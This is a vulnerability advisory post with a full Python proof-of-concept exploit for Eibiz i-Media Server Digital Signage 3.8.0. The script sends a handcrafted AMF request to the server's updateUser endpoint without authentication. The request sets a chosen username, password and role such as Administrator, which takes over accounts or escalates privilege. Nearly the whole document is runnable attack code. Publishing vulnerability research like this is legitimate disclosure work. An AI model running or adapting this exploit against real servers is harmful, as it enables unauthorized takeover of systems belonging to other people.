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Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover

Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover
Posted Aug 21, 2020
Authored by LiquidWorm | Site zeroscience.mk

Eibiz i-Media Server Digital Signage version 3.8.0 suffers from an unauthenticated remote privilege escalation and account takeover vulnerability that can be triggered by directly calling the updateUser object (part of ActionScript object graphs), effectively elevating to an administrative role or taking over an existing account by modifying the settings.

tags | exploit, remote
MD5 | 3841e73f5ee30c4a0b8a1d02dac070da

Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover
#
#
# Vendor: EIBIZ Co.,Ltd.
# Product web page: http://www.eibiz.co.th
# Affected version: <=3.8.0
#
# Summary: EIBIZ develop advertising platform for out of home media in that
# time the world called "Digital Signage". Because most business customers
# still need get outside to get in touch which products and services. Online
# media alone cannot serve them right place, right time.
#
# Desc: The application suffers from an unauthenticated remote privilege escalation
# and account takeover vulnerability that can be triggered by directly calling the
# updateUser object (part of ActionScript object graphs), effectively elevating to
# an administrative role or taking over an existing account by modifying the settings.
#
# Tested on: Windows Server 2016
# Windows Server 2012 R2
# Windows Server 2008 R2
# Apache Flex
# Apache Tomcat/6.0.14
# Apache-Coyote/1.1
# BlazeDS Application
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5584
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5584.php
#
#
# 26.07.2020
#
#


import requests
import sys#####|
import re##### |
############# |
############ |
########### |
########## |
######### |
######## |
####### |
###### |
##### |
#PoC |
### |
## |
# |
class Escalada:

def __init__(self):
self.session = "11111111112222222222333333333344"
self.agent = "DigitalSigner/25.1"
self.display = "Intruder Alert"
self.ep = "/messagebroker/amf"
self.suprole = "Designer"
self.serialize = None
self.address = None
self.usrname = None
self.passwrd = None
self.headers = None

def usage(self):
if len(sys.argv) < 5:
print("i-Media Server Digital Signage 3.8.0 Privilege Escalation")
print("Usage: ./poc.py [ip] [username] [password] [displayname] [role]")
print("Example: ./poc.py 192.168.1.1 testingus 111111 Backdoor Administrator")
exit(21)
else:
self.address = sys.argv[1]
self.usrname = sys.argv[2]
self.passwrd = sys.argv[3]
self.display = sys.argv[4]
self.suprole = (bytes("Administrator".encode("utf-8")) if len(sys.argv) < 6 else sys.argv[5])
#__
# | Administrator __
# | Designer __
# | Reporter __
# | Approver
if not "http" in self.address:
self.address = "http://{}".format(self.address)

def amf(self):
self.cookies = {"JSESSIONID" : self.session} # not really needed
self.headers = {"User-Agent" : self.agent,
"Accept" : "*/*",
"Accept-Language" : "en-US,en;q=0.5",
"Accept-Encoding" : "gzip, deflate",
"Origin" : self.address,
"Connection" : "close",
"Referer" : self.address + "/main.swf",
"Content-Type" : "application/x-amf"}

self.serialize = b"\x00\x03\x00\x00\x00\x01\x00\x04\x6E\x75\x6C\x6C"
self.serialize += b"\x00\x03\x2F\x35\x38\x00\x00\x01\xFE\x0A\x00\x00"
self.serialize += b"\x00\x01\x11\x0A\x81\x13\x4F\x66\x6C\x65\x78\x2E"
self.serialize += b"\x6D\x65\x73\x73\x61\x67\x69\x6E\x67\x2E\x6D\x65"
self.serialize += b"\x73\x73\x61\x67\x65\x73\x2E\x52\x65\x6D\x6F\x74"
self.serialize += b"\x69\x6E\x67\x4D\x65\x73\x73\x61\x67\x65\x0D\x73"
self.serialize += b"\x6F\x75\x72\x63\x65\x13\x6F\x70\x65\x72\x61\x74"
self.serialize += b"\x69\x6F\x6E\x13\x6D\x65\x73\x73\x61\x67\x65\x49"
self.serialize += b"\x64\x13\x74\x69\x6D\x65\x73\x74\x61\x6D\x70\x09"
self.serialize += b"\x62\x6F\x64\x79\x11\x63\x6C\x69\x65\x6E\x74\x49"
self.serialize += b"\x64\x17\x64\x65\x73\x74\x69\x6E\x61\x74\x69\x6F"
self.serialize += b"\x6E\x15\x74\x69\x6D\x65\x54\x6F\x4C\x69\x76\x65"
self.serialize += b"\x0F\x68\x65\x61\x64\x65\x72\x73\x01\x06\x15\x75"
self.serialize += b"\x70\x64\x61\x74\x65\x55\x73\x65\x72\x06\x49\x31"
self.serialize += b"\x42\x38\x39\x37\x41\x38\x36\x2D\x37\x33\x42\x45"
self.serialize += b"\x2D\x30\x35\x42\x31\x2D\x43\x45\x42\x33\x2D\x41"
self.serialize += b"\x30\x35\x35\x30\x39\x36\x34\x31\x31\x34\x34\x04"
self.serialize += b"\x00\x09\x05\x01\x0A\x81\x73\x1B\x64\x73\x2E\x6D"
self.serialize += b"\x6F\x64\x65\x6C\x2E\x55\x73\x65\x72\x11\x70\x61"
self.serialize += b"\x73\x73\x77\x6F\x72\x64\x0D\x63\x72\x65\x61\x74"
self.serialize += b"\x65\x07\x74\x65\x6C\x07\x66\x61\x78\x09\x6E\x61"
self.serialize += b"\x6D\x65\x0F\x61\x64\x64\x72\x65\x73\x73\x0D\x75"
self.serialize += b"\x70\x64\x61\x74\x65\x05\x69\x64\x0D\x6D\x6F\x62"
self.serialize += b"\x69\x6C\x65\x0F\x75\x44\x65\x6C\x65\x74\x65\x15"
self.serialize += b"\x64\x65\x70\x61\x72\x74\x6D\x65\x6E\x74\x09\x72"
self.serialize += b"\x6F\x6C\x65\x09\x72\x65\x61\x64\x0B\x65\x6D\x61"
self.serialize += b"\x69\x6C\x0F\x63\x6F\x6D\x70\x61\x6E\x79\x06" #-"

self.bytecount = len(self.passwrd * 2) + 1
self.bytesdata = [self.bytecount]
self.serialize += "".join(map(chr, self.bytesdata))

self.serialize += (bytes(self.passwrd.encode("utf-8"))) #-----------"
self.serialize += b"\x03\x06\x19\x31\x31\x31\x2D\x32\x32\x32\x2D\x33"
self.serialize += b"\x33\x33\x33\x06\x19\x33\x33\x33\x2D\x32\x32\x32"
self.serialize += b"\x2D\x31\x31\x31\x31\x06" #---------------------"

self.bytecount = len(self.display * 2) + 1
self.bytesdata = [self.bytecount]
self.serialize += "".join(map(chr, self.bytesdata))

self.serialize += (bytes(self.display.encode("utf-8"))) #-----------"
self.serialize += b"\x06\x1F\x49\x6D\x61\x67\x69\x6E\x61\x72\x79\x53"
self.serialize += b"\x74\x72\x65\x65\x74\x03\x06" #-----------------"

self.bytecount = len(self.usrname * 2) + 1
self.bytesdata = [self.bytecount]
self.serialize += "".join(map(chr, self.bytesdata))

self.serialize += (bytes(self.usrname.encode("utf-8"))) #-----------"
self.serialize += b"\x06\x01\x03\x06\x11\x53\x65\x63\x75\x72\x69\x74"
self.serialize += b"\x79\x06" #-------------------------------------"

self.bytecount = len(self.suprole * 2) + 1
self.bytesdata = [self.bytecount]
self.serialize += "".join(map(chr, self.bytesdata))

self.serialize += (bytes(self.suprole.encode("utf-8"))) #-----------"
self.serialize += b"\x03\x06\x15\x7A\x73\x6C\x40\x77\x68\x61\x2E\x62"
self.serialize += b"\x61\x06\x07\x5A\x53\x4C\x06\x42\x01\x06\x17\x75"
self.serialize += b"\x73\x65\x72\x53\x65\x72\x76\x69\x63\x65\x04\x00"
self.serialize += b"\x0A\x0B\x01\x09\x44\x53\x49\x64\x06\x49\x34\x41"
self.serialize += b"\x35\x46\x33\x33\x43\x33\x2D\x37\x31\x31\x46\x2D"
self.serialize += b"\x35\x38\x45\x38\x2D\x39\x30\x35\x30\x2D\x39\x35"
self.serialize += b"\x44\x31\x30\x30\x46\x33\x44\x45\x33\x45\x15\x44"
self.serialize += b"\x53\x45\x6E\x64\x70\x6F\x69\x6E\x74\x06\x0D\x6D"
self.serialize += b"\x79\x2D\x61\x6D\x66\x01" #---------------------"

print("First try...")
req = requests.post(self.address + self.ep, headers=self.headers, cookies=self.cookies, data=self.serialize)
#print(req.text.encode("utf-8"))
if "Detected duplicate HTTP-based FlexSessions" in req.text:
print("Second try...")
req = requests.post(self.address + self.ep, headers=self.headers, cookies=self.cookies, data=self.serialize)
#print(req.text.encode("utf-8"))
if "AcknowledgeMessage" in req.text:
print("You are " + self.suprole + " now!")
else:
print("Didn't work.")
exit(0)
else:
print("Try again!")

def main(self):
self.usage()
self.amf()

if __name__ == '__main__':
Escalada().main()
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